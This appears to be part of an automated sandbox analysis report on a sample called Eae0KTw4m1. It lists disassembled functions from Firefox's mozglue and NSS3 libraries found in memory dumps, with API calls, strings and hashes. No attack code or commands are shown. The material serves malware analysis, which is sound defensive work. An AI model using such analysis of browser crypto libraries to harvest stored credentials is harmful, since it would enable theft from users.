Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction ID: dbc3a35c1e21f317ce6ecd19c3acf40dce091f4986e472a2e143677ebdddc0b6
Opcode Fuzzy Hash: 121872ca4725f2ea9bc232081735533d3fb3256b6702e3aafb5eb2ae1737522c
Instruction Fuzzy Hash: 1851C271E05214DBDB00DFA8CC826EEB7B0AF99358F44992DE8556B740E7706948CBA3

Function 6C7B2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7B2FFD
sqlite3_initialize.NSS3 ref: 6C7B3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7B3032
sqlite3_mprintf.NSS3(6C81AAF9,?), ref: 6C7B3073
sqlite3_free.NSS3(?), ref: 6C7B30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7B30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7B30BB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: cc856342ac8a3ca77025a0ebe62b64796ecde6b999e021642e93e3659d852891
Instruction ID: bef2ab38869666c56f7a36c24d8f88dd789d935f56b599f31dabee3358f49ffb
Opcode Fuzzy Hash: cc856342ac8a3ca77025a0ebe62b64796ecde6b999e021642e93e3659d852891
Instruction Fuzzy Hash: C341C271600606AFDB00CF25D984A86B7E6FF44368F148638EC2997B40EB31F995CBD1

Function 6C6F8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C70124D,00000001), ref: 6C6F8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C70124D,00000001), ref: 6C6F8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C70124D,00000001), ref: 6C6F8D73
PR_Unlock.NSS3(?,?,?,?,?,6C70124D,00000001), ref: 6C6F8D8C

Part of subcall function 6C78DD70: TlsGetValue.KERNEL32 ref: 6C78DD8C
Part of subcall function 6C78DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C78DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C70124D,00000001), ref: 6C6F8DBA

Strings

KRAM, xrefs: 6C6F8D3E
KRAM, xrefs: 6C6F8CF9

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 789d55ee8238b76f0fee582b3bfc3adf570904351182f463876f481e19603de1
Instruction ID: 1ae6968f28a3f36e9cac516194b7400085dd37396b2f3941a7f5d6ad3240a362
Opcode Fuzzy Hash: 789d55ee8238b76f0fee582b3bfc3adf570904351182f463876f481e19603de1
Instruction Fuzzy Hash: FE21A1B1A046018FCB00EF79C58859EB7F1FF5A308F1589BAD9A887711DB34D842CBA5

Function 6C71ACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C71ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C71AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C71AD23

Part of subcall function 6C7FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C71AD39

Strings

C_MessageDecryptFinal, xrefs: 6C71ACE1
(CK_INVALID_HANDLE), xrefs: 6C71AD1C
hSession = 0x%x, xrefs: 6C71ACFE, 6C71AD0E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 2bff9951cf488bda00061a66e061ffe004e7786daf5252644cff75b2d7beccfc
Instruction ID: 6556b7fd8923ca9d459f9d7ec3b580299c0672c137c2857b802160f46b715014
Opcode Fuzzy Hash: 2bff9951cf488bda00061a66e061ffe004e7786daf5252644cff75b2d7beccfc
Instruction Fuzzy Hash: 2121D3706091049BDB20EB649E8DB6A37B5AB4272EF088435E84997F11DB24A80DC6D2

Function 6C7F0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7F0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7F0EFA

Part of subcall function 6C6DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7F0F2B

Strings

Aborting, xrefs: 6C7F0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C7F0ED9, 6C7F0EE5, 6C7F0F06, 6C7F0F0B

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: cb90ce4656241ea6d25e95c1fd4c9d8da8d2a7f3d5231aa48dc365d3ede848c8
Instruction ID: c894839846c0a65373565cddea9d6ab45ed3173cf88e357e3027fb8928137853
Opcode Fuzzy Hash: cb90ce4656241ea6d25e95c1fd4c9d8da8d2a7f3d5231aa48dc365d3ede848c8
Instruction Fuzzy Hash: 6C01ADB6A00124ABDF22AFA4DC8989B3F6CEF46268B004424FD1987702D635E951C6E2

Function 6C609420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
__Init_thread_footer.LIBCMT ref: 6C60949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C60947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C609459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C60946B

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction ID: 1df93ff6169b16b6cbe1c7ac1e5e99916ca9d4d2fda65a9da0547b5c4e95d727
Opcode Fuzzy Hash: 92adfeb78de334deabcc62053a2bdf03d89760a9cbca5d4ab9cf78916e9eb350
Instruction Fuzzy Hash: E8012830B0010187D714AB5EDA40ACA33B6DF0536DF05C536E906D6B42EA22D8658D5F

Function 6C7B4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7B4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7B4DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7B4DCB
%s at line %d of [%.10s], xrefs: 6C7B4DDA
invalid, xrefs: 6C7B4DB8
API call with %s database connection pointer, xrefs: 6C7B4DBD
misuse, xrefs: 6C7B4DD5

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 50f0ec75f8d3388d9a1123503c5f14fb09fa47507d086589dee264de116007bc
Instruction ID: 92624e8185f1bef0c34ccf5d7ef20d5580c425d770a2cd83a4f7e3ec680e7e94
Opcode Fuzzy Hash: 50f0ec75f8d3388d9a1123503c5f14fb09fa47507d086589dee264de116007bc
Instruction Fuzzy Hash: 8BF0B422E185752BDB204515CF26F8737958F03319F460DB1EF08BBF52D2299850A2D5

Function 6C7B4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7B4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7B4E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7B4E38
%s at line %d of [%.10s], xrefs: 6C7B4E47
invalid, xrefs: 6C7B4E25
API call with %s database connection pointer, xrefs: 6C7B4E2A
misuse, xrefs: 6C7B4E42

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 2869c4c15d87707e8a2e98d519081746e3c98ede22366097776c8fc87ada8167
Instruction ID: 45f7c70c303dcc921927e7af9f6ffeaef73fbae61312cf80e380f2c687e53c48
Opcode Fuzzy Hash: 2869c4c15d87707e8a2e98d519081746e3c98ede22366097776c8fc87ada8167
Instruction Fuzzy Hash: 43F0E211E489292BE6304925DE14F8337DE4B03329F0949F1FA0877F92D229986072D6

Function 6C720C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C721444,?,00000001,?,00000000,00000000,?,?,6C721444,?,?,00000000,?,?), ref: 6C720CB3

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?,?,6C721444,?), ref: 6C720DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?,?,6C721444,?), ref: 6C720DEC

Part of subcall function 6C740F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C6E2AF5,?,?,?,?,?,6C6E0A1B,00000000), ref: 6C740F1A
Part of subcall function 6C740F10: malloc.MOZGLUE(00000001), ref: 6C740F30
Part of subcall function 6C740F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C740F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?), ref: 6C720DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C721444,?,00000001,?,00000000), ref: 6C720E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?), ref: 6C720E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?,?,6C721444,?,?,00000000), ref: 6C720E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C721444,?,00000001,?,00000000,00000000,?), ref: 6C720E79

Part of subcall function 6C731560: TlsGetValue.KERNEL32(00000000,?,6C700844,?), ref: 6C73157A
Part of subcall function 6C731560: EnterCriticalSection.KERNEL32(?,?,?,6C700844,?), ref: 6C73158F
Part of subcall function 6C731560: PR_Unlock.NSS3(?,?,?,?,6C700844,?), ref: 6C7315B2

Part of subcall function 6C6FB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C701397,00000000,?,6C6FCF93,5B5F5EC0,00000000,?,6C701397,?), ref: 6C6FB1CB
Part of subcall function 6C6FB1A0: free.MOZGLUE(5B5F5EC0,?,6C6FCF93,5B5F5EC0,00000000,?,6C701397,?), ref: 6C6FB1D2

Part of subcall function 6C6F89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6F88AE,-00000008), ref: 6C6F8A04
Part of subcall function 6C6F89E0: EnterCriticalSection.KERNEL32(?), ref: 6C6F8A15
Part of subcall function 6C6F89E0: memset.VCRUNTIME140(6C6F88AE,00000000,00000132), ref: 6C6F8A27
Part of subcall function 6C6F89E0: PR_Unlock.NSS3(?), ref: 6C6F8A35

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: b89b21d0b4b26e45d6b225ee692a66fa9d9a7368810d4397a151d5fd7eeb1ac1
Instruction ID: 882f3c3f04d910d8abd5a9668902ce7c3ef6640c59d4f5a1ce2a768c5f67577e
Opcode Fuzzy Hash: b89b21d0b4b26e45d6b225ee692a66fa9d9a7368810d4397a151d5fd7eeb1ac1
Instruction Fuzzy Hash: 7D51D6F6E012005FEB00AF64DE99AAB37A8AF0521CF150474ED1997712F735ED1987B2

Function 6C6D6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6D6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6D6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6D6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6D6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6D6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6D7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6D701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6D7052

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 2a87ed9fa28ce930d574e3a2d479c9d59573e527560451da42231c850fce4b25
Instruction ID: fc1ab3959e6256d19171883f243ad725d66f46199059f8977f606fce685d1028
Opcode Fuzzy Hash: 2a87ed9fa28ce930d574e3a2d479c9d59573e527560451da42231c850fce4b25
Instruction Fuzzy Hash: 9261F4B1E0460A8BDB00CFA5C8407EEB7B2AF85308F1A4564D415AB795E731FC06CB9A

Function 6C748F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C747313), ref: 6C748FBB

Part of subcall function 6C7407B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6E8298,?,?,?,6C6DFCE5,?), ref: 6C7407BF
Part of subcall function 6C7407B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7407E6
Part of subcall function 6C7407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C74081B
Part of subcall function 6C7407B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C740825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C747313), ref: 6C749012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C747313), ref: 6C74903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C747313), ref: 6C74909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C747313), ref: 6C7490DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C747313), ref: 6C7490F1

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C747313), ref: 6C74906B

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C747313), ref: 6C749128

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: ef15652bffdd0e4348e50c4a79cd01db0e99490193a171783e810e9ac4517beb
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 31519E71A00202CBEB10DF6ADF48B66B3F9AF64359F158079D915D7B61EB31E804CA91

Function 6C7288E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7288FC

Part of subcall function 6C73BE30: SECOID_FindOID_Util.NSS3(6C6F311B,00000000,?,6C6F311B,?), ref: 6C73BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C728913

Part of subcall function 6C740FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741000
Part of subcall function 6C740FF0: PR_NewLock.NSS3(?,00000800,6C6DEF74,00000000), ref: 6C741016
Part of subcall function 6C740FF0: PL_InitArenaPool.NSS3(00000000,security,6C6E87ED,00000008,?,00000800,6C6DEF74,00000000), ref: 6C74102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C80D864,?), ref: 6C728947

Part of subcall function 6C73E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C73E245
Part of subcall function 6C73E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C73E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C72895B
DER_GetInteger_Util.NSS3(?), ref: 6C728973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C728982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7289EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C728A12

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
